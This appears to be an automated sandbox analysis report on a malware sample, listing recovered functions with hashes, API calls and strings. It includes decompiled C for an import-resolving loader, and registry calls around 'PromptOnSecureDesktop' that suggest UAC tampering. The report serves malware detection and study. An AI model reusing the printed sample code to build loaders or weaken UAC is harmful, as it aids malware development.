API String ID: 3120068967-1975997740
Opcode ID: 8dd572778d42769b5f892cc970b112f872f7f8b9fde39e664846cb7845f9b4a8
Instruction ID: 192e9510275a3354d767136264938b7f9f0f9f4b3d2a638e5b48a5540ac715a7
Opcode Fuzzy Hash: 8dd572778d42769b5f892cc970b112f872f7f8b9fde39e664846cb7845f9b4a8
Instruction Fuzzy Hash: 1A412471E06229CFDB64CF48ED89BAEB7B5BB44300F5481DAD009A7245CB389E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043C639, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C6A0
__aullrem.LIBCMT ref: 0043C870
__aulldiv.LIBCMT ref: 0043C892

Strings

', xrefs: 0043C639
9, xrefs: 0043C8A3

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 044c4e9475caa876993db0b7bf7609c54a9519c81704b3a31cc85cc1f6a62956
Instruction ID: 27a5db902fbfe5bb77fd7e4c851af8ea23c48265019f70f53df430d909e2a077
Opcode Fuzzy Hash: 044c4e9475caa876993db0b7bf7609c54a9519c81704b3a31cc85cc1f6a62956
Instruction Fuzzy Hash: F74126B1E0022A9FDB24CF48C881BAEB7B5FF89314F00509AD249BB241C7385E81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0064E2E5, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,0064E4F3,00000000,00000000,00000000,00020106,00000000,0064E4F3,00000000,000000E4), ref: 0064E302
RegSetValueExA.ADVAPI32(0064E4F3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0064E377
RegDeleteValueA.ADVAPI32(0064E4F3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0064E3A8
RegCloseKey.ADVAPI32(0064E4F3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0064E4F3), ref: 0064E3B1

Strings

PromptOnSecureDesktop, xrefs: 0064E323

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: Value$CloseCreateDelete
String ID: PromptOnSecureDesktop
API String ID: 2667537340-2980165447
Opcode ID: 71be46fcf4b4c1b855c56a8beb8c548cd5d416d4e28516e03566d8543fb954ad
Instruction ID: 27f7a782cd943783569896eced9cff13065506ac1f25d61ca4d033b66c694551
Opcode Fuzzy Hash: 71be46fcf4b4c1b855c56a8beb8c548cd5d416d4e28516e03566d8543fb954ad
Instruction Fuzzy Hash: 04215071A0021DBBDF229FA4EC85EDE7FB9EF09750F048065F904E6151E6728A54D790

Uniqueness

Uniqueness Score: -1.00%

Function 006471AF, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 006471CA
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00647211
LocalFree.KERNEL32(?,?,?), ref: 0064726F
wsprintfA.USER32 ref: 00647286

Strings

|, xrefs: 00647203

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: Name$AccountFreeLocalLookupUserwsprintf
String ID: |
API String ID: 2539190677-2343686810
Opcode ID: 0c0665c49b02975d3cb655efb4674a53369201e8279effc4896e63a6fe97e42a
Instruction ID: 39307adc5f4817298a975932764eb1911abd931456a435a12af82dd68cadac81
Opcode Fuzzy Hash: 0c0665c49b02975d3cb655efb4674a53369201e8279effc4896e63a6fe97e42a
Instruction Fuzzy Hash: E2313872A04209BFDB01DFA8D845BDA7BADEF04350F148066F859DB201EB74DB488B94

Uniqueness

Uniqueness Score: -1.00%

Function 0064B461, Relevance: 7.6, APIs: 5, Instructions: 131timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0064B503
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0064B512
SystemTimeToFileTime.KERNEL32(?,?), ref: 0064B531
GetTimeZoneInformation.KERNEL32(?), ref: 0064B579
wsprintfA.USER32 ref: 0064B607

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: Time$File$Local$InformationSystemZonewsprintf
String ID:
API String ID: 4026320513-0
Opcode ID: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction ID: bf4ddf664b0a419efba55f0226a672ebf7ddb4a872c7c4a3800b5474f385c7b3
Opcode Fuzzy Hash: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction Fuzzy Hash: C4511071D0021CAACF18DFD5D8845EEFBBABF48304F10852AE505A6150E7B98AC9CF98

Uniqueness

Uniqueness Score: -1.00%

Function 006462B9, Relevance: 7.6, APIs: 5, Instructions: 121libraryloaderCOMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(?,00000014), ref: 006462EC
LoadLibraryA.KERNEL32(?), ref: 00646313
GetProcAddress.KERNEL32(00000000,?), ref: 0064639A
IsBadHugeReadPtr.KERNEL32(-000000DC,00000014), ref: 006463EE

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: HugeRead$AddressLibraryLoadProc
String ID:
API String ID: 3498078134-0
Opcode ID: 22151fd6ac6a99dd14e45186f4812a7dac7af9c00bb3bb0eb99ee7530713bb62
Instruction ID: 30eb5e6d9682e50d4feb66009a34727ddee0b1c12cc9098bc3ec7f871feadcb6
Opcode Fuzzy Hash: 22151fd6ac6a99dd14e45186f4812a7dac7af9c00bb3bb0eb99ee7530713bb62
Instruction Fuzzy Hash: 0E416C71A00119AFDB25CF58C884BAAB7BAFF16354F248069F816D7390E731ED45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00406069, Relevance: 7.6, APIs: 5, Instructions: 121
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406069(_Unknown_base(*)()* _a4) {
				intOrPtr* _v8;
				signed int _v12;
				struct HINSTANCE__* _v16;
				intOrPtr _t47;
				_Unknown_base(*)()* _t48;
				_Unknown_base(*)()* _t50;
				struct HINSTANCE__* _t52;
				_Unknown_base(*)()* _t53;
				_Unknown_base(*)()* _t54;
				_Unknown_base(*)()* _t55;
				signed int _t56;
				_Unknown_base(*)()* _t59;
				_Unknown_base(*)()* _t62;
				_Unknown_base(*)()* _t63;
				intOrPtr _t69;
				_Unknown_base(*)()* _t76;
				_Unknown_base(*)()* _t77;
				intOrPtr* _t82;
				void* _t85;
				intOrPtr* _t87;
				_Unknown_base(*)()* _t89;

				_t82 = _a4;
				_t47 =  *_t82;
				_t3 = _t82 + 4; // 0x65e85621
				_t69 =  *_t3;
				_v12 = 1;
				if( *((intOrPtr*)(_t47 + 0x84)) != 0) {
					_t85 =  *((intOrPtr*)(_t47 + 0x80)) + _t69;
					_t48 = IsBadReadPtr(_t85, 0x14);
					__eflags = _t48;
					if(_t48 != 0) {
						L29:
						return _v12;
					}
					_t87 = _t85 + 0x10;
					_v8 = _t87;
					while(1) {
						_t50 =  *(_t87 - 4);
						__eflags = _t50;
						if(_t50 == 0) {
							goto L29;
						}
						_t52 = LoadLibraryA(_t50 + _t69);
						_v16 = _t52;
						__eflags = _t52 - 0xffffffff;
						if(_t52 == 0xffffffff) {
							L28:
							_t44 =  &_v12;
							 *_t44 = _v12 & 0x00000000;
							__eflags =  *_t44;
							goto L29;
						}
						_t10 = _t82 + 8; // 0x8bfffffa
						_t53 =  *_t10;
						__eflags = _t53;
						if(_t53 != 0) {
							_t14 = _t82 + 0xc; // 0x28408b06
							_t54 = E0040EBED(_t53, 4 +  *_t14 * 4);
						} else {
							_t11 = _t82 + 0xc; // 0x28408b06
							_t54 = E0040EBCC(4 +  *_t11 * 4);
						}
						 *(_t82 + 8) = _t54;
						__eflags = _t54;
						if(_t54 == 0) {
							goto L28;
						} else {
							_t18 = _t82 + 0xc; // 0x28408b06
							 *((intOrPtr*)(_t54 +  *_t18 * 4)) = _v16;
							 *(_t82 + 0xc) =  *(_t82 + 0xc) + 1;
							_t55 =  *(_t87 - 0x10);
							__eflags = _t55;
							if(_t55 == 0) {
								_t89 =  *_t87 + _t69;
								__eflags = _t89;
								_t76 = _t89;
							} else {
								_t89 = _t55 + _t69;
								_t76 =  *_v8 + _t69;
							}
							_t56 =  *_t89;
							__eflags = _t56;
							if(_t56 == 0) {
								L25:
								__eflags = _v12;
								if(_v12 == 0) {
									goto L29;
								}
								_v8 = _v8 + 0x14;
								_t59 = IsBadReadPtr(_v8 + 0xfffffff0, 0x14);
								__eflags = _t59;
								if(_t59 == 0) {
									_t87 = _v8;
									continue;
								}
								goto L29;
							} else {
								_a4 = _t76;
								_a4 = _a4 - _t89;
								__eflags = _t56;
								do {
									if(__eflags >= 0) {
										_t62 = GetProcAddress(_v16, _t56 + _t69 + 2);
										__eflags = _t62;
										if(_t62 == 0) {
											L21:
											_t63 = _a4;
											__eflags =  *(_t63 + _t89);
											if( *(_t63 + _t89) == 0) {
												_t38 =  &_v12;
												 *_t38 = _v12 & 0x00000000;
												__eflags =  *_t38;
												goto L25;
											}
											goto L22;
										}
										_t77 = _a4;
										__eflags = _t62 -  *(_t77 + _t89);
										if(_t62 ==  *(_t77 + _t89)) {
											goto L21;
										}
										L20:
										 *(_t77 + _t89) = _t62;
										goto L21;
									}
									_t62 = GetProcAddress(_v16, _t56 & 0x0000ffff);
									_t77 = _a4;
									goto L20;
									L22:
									_t89 = _t89 + 4;
									_t56 =  *_t89;
									__eflags = _t56;
								} while (__eflags != 0);
								goto L25;
							}
						}
					}
					goto L29;
				}
				return 1;
			}

0x00406071
0x00406074
0x0040607c
0x0040607c
0x00406082
0x00406087
0x00406099
0x0040609c
0x004060a2
0x004060a4
0x004061b2
0x00000000
0x004061b5
0x004060aa
0x004060ad
0x004060b5
0x004060b5
0x004060b8
0x004060ba
0x00000000
0x00000000
0x004060c3
0x004060c9
0x004060cc
0x004060cf
0x004061ae
0x004061ae
0x004061ae
0x004061ae
0x00000000
0x004061ae
0x004060d5
0x004060d5
0x004060d8
0x004060da
0x004060ee
0x004060fa
0x004060dc
0x004060dc
0x004060e7
0x004060e7
0x00406101
0x00406104
0x00406106
0x00000000
0x0040610c
0x0040610c
0x00406112
0x00406115
0x00406118
0x0040611b
0x0040611d
0x0040612d
0x0040612d
0x0040612f
0x0040611f
0x0040611f
0x00406127
0x00406127
0x00406131
0x00406133
0x00406135
0x0040618b
0x0040618b
0x0040618f
0x00000000
0x00000000
0x00406191
0x0040619e
0x004061a4
0x004061a6
0x004060b2
0x00000000
0x004060b2
0x00000000
0x00406137
0x00406137
0x0040613a
0x0040613d
0x0040613f
0x0040613f
0x0040615e
0x00406164
0x00406166
0x00406173
0x00406173
0x00406176
0x0040617a
0x00406187
0x00406187
0x00406187
0x00000000
0x00406187
0x00000000
0x0040617a
0x00406168
0x0040616b
0x0040616e
0x00000000
0x00000000
0x00406170
0x00406170
0x00000000
0x00406170
0x0040614a
0x00406150
0x00000000
0x0040617c
0x0040617c
0x0040617f
0x00406181
0x00406181
0x00000000
0x00406185
0x00406135
0x00406106
0x00000000
0x004060b5
0x00000000

APIs

IsBadReadPtr.KERNEL32(?,00000014,00000000,?,00000000,?,004064CF,00000000), ref: 0040609C
LoadLibraryA.KERNEL32(?,?,004064CF,00000000), ref: 004060C3
GetProcAddress.KERNEL32(?,00000014), ref: 0040614A
IsBadReadPtr.KERNEL32(-000000DC,00000014), ref: 0040619E

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: Read$AddressLibraryLoadProc
String ID:
API String ID: 2438460464-0
Opcode ID: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction ID: 2c66ad34c3d6fb1da92a891872b73c8746f5f3d5bf62d79dfacd6c24df0475f4
Opcode Fuzzy Hash: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction Fuzzy Hash: D5418C71A00105AFDB10CF58C884BAAB7B9EF14354F26807AE816EB3D1D738ED61CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0040E654, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 96
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E654(intOrPtr _a4, intOrPtr _a8, CHAR* _a12) {
				intOrPtr _t30;
				CHAR* _t31;
				int _t34;
				intOrPtr* _t41;
				intOrPtr* _t42;
				void* _t47;
				intOrPtr _t51;
				int _t52;
				void* _t53;
				intOrPtr _t54;
				void* _t55;
				char _t59;

				E0040DD05();
				_t41 = 0x4120e8;
				_t55 =  *0x4120e8 - 0x4120e8; // 0x4120e8
				if(_t55 == 0) {
					L9:
					_t53 = E0040EBCC(0x1c);
					if(_t53 != 0) {
						 *((intOrPtr*)(_t53 + 0x18)) = _a4;
						 *((intOrPtr*)(_t53 + 4)) = _a8;
						E00403E8F(0x4120e8, _t53);
						__eflags = _a12;
						if(_a12 == 0) {
							 *(_t53 + 8) = 0;
						} else {
							_t15 = _t53 + 8; // 0x8
							lstrcpynA(_t15, _a12, 0xf);
							 *((char*)(_t53 + 0x17)) = 0;
						}
						L15:
						_t42 = 0x4120e4;
						__eflags =  *0x4120e4 - _t42; // 0x4120e4
						if(__eflags == 0) {
							L22:
							_t47 = 1;
							L11:
							E0040DD69();
							return _t47;
						} else {
							goto L16;
						}
						do {
							L16:
							_t30 =  *((intOrPtr*)(_t53 + 4));
							_t51 =  *_t42;
							__eflags = _t30 - 0xffffffff;
							if(_t30 == 0xffffffff) {
								L18:
								_t20 = _t53 + 8; // 0x8
								_t31 = _t20;
								__eflags =  *_t31;
								if( *_t31 == 0) {
									L20:
									_t52 = _t51 + 0xc;
									__eflags = _t52;
									 *((intOrPtr*)(_t53 + 0x18))(_t52, 1);
									goto L21;
								}
								_t34 = lstrcmpA(_t51 + 0x10, _t31);
								__eflags = _t34;
								if(_t34 != 0) {
									goto L21;
								}
								goto L20;
							}
							__eflags =  *(_t51 + 0xc) - _t30;
							if( *(_t51 + 0xc) != _t30) {
								goto L21;
							}
							goto L18;
							L21:
							_t42 =  *_t42;
							__eflags =  *_t42 - 0x4120e4;
						} while ( *_t42 != 0x4120e4);
						goto L22;
					}
					_t47 = 0;
					goto L11;
				} else {
					goto L1;
				}
				do {
					L1:
					_t54 =  *_t41;
					if( *((intOrPtr*)(_t54 + 0x18)) == _a4 &&  *((intOrPtr*)(_t54 + 4)) == _a8) {
						if(_a12 != 0) {
							_t8 = _t54 + 8; // 0x74e043e8
							__eflags = lstrcmpA(_t8, _a12);
						} else {
							_t59 =  *(_t54 + 8);
						}
						if(_t59 == 0) {
							break;
						} else {
							goto L7;
						}
					}
					L7:
					_t41 =  *_t41;
					_t53 = 0;
				} while ( *_t41 != 0x4120e8);
				if(_t53 != 0) {
					goto L15;
				}
				goto L9;
			}

0x0040e65a
0x0040e664
0x0040e666
0x0040e66c
0x0040e6a9
0x0040e6b0
0x0040e6b5
0x0040e6c8
0x0040e6d0
0x0040e6d3
0x0040e6d8
0x0040e6de
0x0040e6f5
0x0040e6e0
0x0040e6e5
0x0040e6e9
0x0040e6ef
0x0040e6ef
0x0040e6f9
0x0040e6f9
0x0040e6fe
0x0040e704
0x0040e741
0x0040e743
0x0040e6b9
0x0040e6b9
0x0040e6c4
0x00000000
0x00000000
0x00000000
0x0040e706
0x0040e706
0x0040e706
0x0040e709
0x0040e70b
0x0040e70e
0x0040e715
0x0040e715
0x0040e715
0x0040e718
0x0040e71b
0x0040e72c
0x0040e72c
0x0040e72c
0x0040e732
0x00000000
0x0040e736
0x0040e722
0x0040e728
0x0040e72a
0x00000000
0x00000000
0x00000000
0x0040e72a
0x0040e710
0x0040e713
0x00000000
0x00000000
0x00000000
0x0040e737
0x0040e737
0x0040e739
0x0040e739
0x00000000
0x0040e706
0x0040e6b7
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e66e
0x0040e66e
0x0040e66e
0x0040e676
0x0040e684
0x0040e68f
0x0040e699
0x0040e686
0x0040e686
0x0040e686
0x0040e69b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e69b
0x0040e69d
0x0040e69d
0x0040e69f
0x0040e6a1
0x0040e6a7
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

lstrcmpA.KERNEL32(74E043E8,00000000,?,74E043E0,00000000,?,00405EC1), ref: 0040E693
lstrcpynA.KERNEL32(00000008,00000000,0000000F,?,74E043E0,00000000,?,00405EC1), ref: 0040E6E9
lstrcmpA.KERNEL32(?,00000008,?,74E043E0,00000000,?,00405EC1), ref: 0040E722

Strings

A, xrefs: 0040E65F, 0040E666, 0040E6CF, 0040E731
A, xrefs: 0040E6F9, 0040E6FE, 0040E739

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: lstrcmp$CountCurrentExchangeInterlockedThreadTicklstrcpyn
String ID: A$ A
API String ID: 3343386518-686259309
Opcode ID: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction ID: 47b803fc1c440cad9c550ff35358ad860d5bc2ca4051ff98ce99c32b6473ed9c
Opcode Fuzzy Hash: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction Fuzzy Hash: CC31C031600301DBCB318F66E8847977BE4AB24314F508D3BE555A7690D779E8A0CB89

Uniqueness

Uniqueness Score: -1.00%

Function 0040F26D, Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 0040F2A0
setsockopt.WS2_32 ref: 0040F2C0
setsockopt.WS2_32 ref: 0040F2DD
setsockopt.WS2_32 ref: 0040F2EC
setsockopt.WS2_32 ref: 0040F2FD

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction ID: 54276ff97121d9260d4f5268cf3942b14174050ddbce03adff589c8218e6c2bb
Opcode Fuzzy Hash: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction Fuzzy Hash: 6B110AB2A40248BAEF11DF94CD85FDE7FBCEB44751F008066BB04EA1D0E6B19A44CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00402419, Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 45
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402419(void* __ecx, CHAR* _a4, intOrPtr _a8, CHAR* _a12) {
				int _v8;
				int _t18;
				intOrPtr _t20;
				CHAR* _t21;
				int _t30;
				CHAR* _t36;

				_t18 = lstrlenA(_a12);
				_t36 = _a4;
				_v8 = _t18;
				_t20 = _a8 + _t36;
				_a8 = _t20;
				if(_t36 >= _t20) {
					L5:
					_t21 = 0;
				} else {
					while(1) {
						_t30 = lstrlenA(_t36);
						_t7 =  &(_t36[1]); // 0x1
						_a4 = _t30 + _t7;
						if(_v8 == _t30 && lstrcmpiA(_t36, _a12) == 0 && _a4 < _a8) {
							break;
						}
						_t36 =  &(_t36[lstrlenA(_a4) + _t30 + 2]);
						if(_t36 < _a8) {
							continue;
						} else {
							goto L5;
						}
						goto L6;
					}
					_t21 = _a4;
				}
				L6:
				return _t21;
			}

0x00402429
0x0040242b
0x0040242e
0x00402434
0x00402436
0x0040243b
0x00402474
0x00402474
0x0040243d
0x0040243d
0x00402440
0x00402442
0x00402446
0x0040244c
0x00000000
0x00000000
0x0040246b
0x00402472
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00402472
0x0040247b
0x0040247b
0x00402476
0x0040247a

APIs

lstrlenA.KERNEL32(?,localcfg,?,00000000,?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001), ref: 00402429
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 0040243E
lstrcmpiA.KERNEL32(?,?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg), ref: 00402452
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 00402467

Strings

localcfg, xrefs: 0040241F

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcmpi
String ID: localcfg
API String ID: 1808961391-1857712256
Opcode ID: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction ID: 10b525c6ae3f8891cd48fd25e34f392daf9ed257baad57177c8ccf48abf1fcea
Opcode Fuzzy Hash: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction Fuzzy Hash: B4011A31600218EFCF11EF69DD888DE7BA9EF44354B01C436E859A7250E3B4EA408A98

Uniqueness

Uniqueness Score: -1.00%

Function 0064BCA4, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0064BB82
wsprintfA.USER32 ref: 0064BCD5

Part of subcall function 0064ADD1: lstrcpyn.KERNEL32(?,?,0000003E), ref: 0064AE09

InterlockedIncrement.KERNEL32(?), ref: 0064BDFE

Strings

0t, xrefs: 0064BB82

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTicklstrcpynwsprintf
String ID: 0t
API String ID: 1085182253-1355922044
Opcode ID: 820597d01a9478628097e3db4953929dbabae1dcb8fbf00f62f3edaa8e401da7
Instruction ID: b78f82f54fa0261151050ec45cd2a2d2829dd6d3cc2ce951711738f16fcac632
Opcode Fuzzy Hash: 820597d01a9478628097e3db4953929dbabae1dcb8fbf00f62f3edaa8e401da7
Instruction Fuzzy Hash: A641A971800248EFDF25DF94DC85AE97BB6FF48301F24509AFA2892262E735DA81DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00437A74, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00437AD3
_memset.LIBCMT ref: 00437B5C
__invalid_parameter.LIBCMTD ref: 00437BBB

Strings

P, xrefs: 00437BD0

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID: P
API String ID: 2178901135-3110715001
Opcode ID: 71a19e293a7895fc4d81b734992a88cc83c6bf3592622c3dfaa8b26bb6ca6484
Instruction ID: 4722cb4250237603a11db6281bb261b1356f263cea8a128f449e6da4589de1ef
Opcode Fuzzy Hash: 71a19e293a7895fc4d81b734992a88cc83c6bf3592622c3dfaa8b26bb6ca6484
Instruction Fuzzy Hash: 7241AE70904309DBCB24DF58C885BAEB771FB48319F20D66AE9B41A3D0D3799A50CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0064E77E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0064DF55: GetCurrentThreadId.KERNEL32 ref: 0064DFA3

GetFileSize.KERNEL32(00000000,00000000,?,00410170,?,00000000,?,0064A695), ref: 0064E7A8
ReadFile.KERNEL32(00000000,004136C4,00000000,?,00000000,?,00410170,?,00000000,?,0064A695), ref: 0064E7D3
CloseHandle.KERNEL32(00000000,?,00410170,?,00000000,?,0064A695), ref: 0064E802

Strings

PromptOnSecureDesktop, xrefs: 0064E829, 0064E82E, 0064E865, 0064E884

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: File$CloseCurrentHandleReadSizeThread
String ID: PromptOnSecureDesktop
API String ID: 1396056608-2980165447
Opcode ID: 7902eb09b18f90ff15814c2c52a49d831fada2081c22b3094fea9a8900fad251
Instruction ID: c542d6c6e0b6d25cd59d06863bd891b59fb09b9f22457e2da7c02888ed1fda57
Opcode Fuzzy Hash: 7902eb09b18f90ff15814c2c52a49d831fada2081c22b3094fea9a8900fad251
Instruction Fuzzy Hash: A62127B1A403017AE7647B315C1AFEB3E4EEB55750F20012CBA09A52D3EAA6D85082B9

Uniqueness

Uniqueness Score: -1.00%

Function 0043C626, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C6A0
__aullrem.LIBCMT ref: 0043C870
__aulldiv.LIBCMT ref: 0043C892

Strings

9, xrefs: 0043C8A3

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: a45bf9ffedb1c13bae317dfab0017e0f9bc5b40c5b13e368e178c00019d18cb5
Instruction ID: abd0342e0530c1d72c0d4c6470560dc36c161b32a3837cad3abaf74c3b3d5de9
Opcode Fuzzy Hash: a45bf9ffedb1c13bae317dfab0017e0f9bc5b40c5b13e368e178c00019d18cb5
Instruction Fuzzy Hash: A54128B1E0022A9FDB24CF48C881BAEB7B5FF89314F10519AD549B7241C7785E81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0043525C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00435288
__aullrem.LIBCMT ref: 00435455
__aulldiv.LIBCMT ref: 00435477

Strings

9, xrefs: 00435488

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 8e479b186c38faee6beb2dcedf8807de491c87e4a157677048558e769635c527
Instruction ID: f3c1bc8e611cf632138d0c14a76a925bdb2f1fbc81ff18781caf59dd9c6a462b
Opcode Fuzzy Hash: 8e479b186c38faee6beb2dcedf8807de491c87e4a157677048558e769635c527
Instruction Fuzzy Hash: 5C41F7B1D11A29DFEB24CF48CC89BAEB7B5FB58300F14919AD409A7240D7785E80CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0043C674, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C6A0
__aullrem.LIBCMT ref: 0043C870
__aulldiv.LIBCMT ref: 0043C892

Strings

9, xrefs: 0043C8A3

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
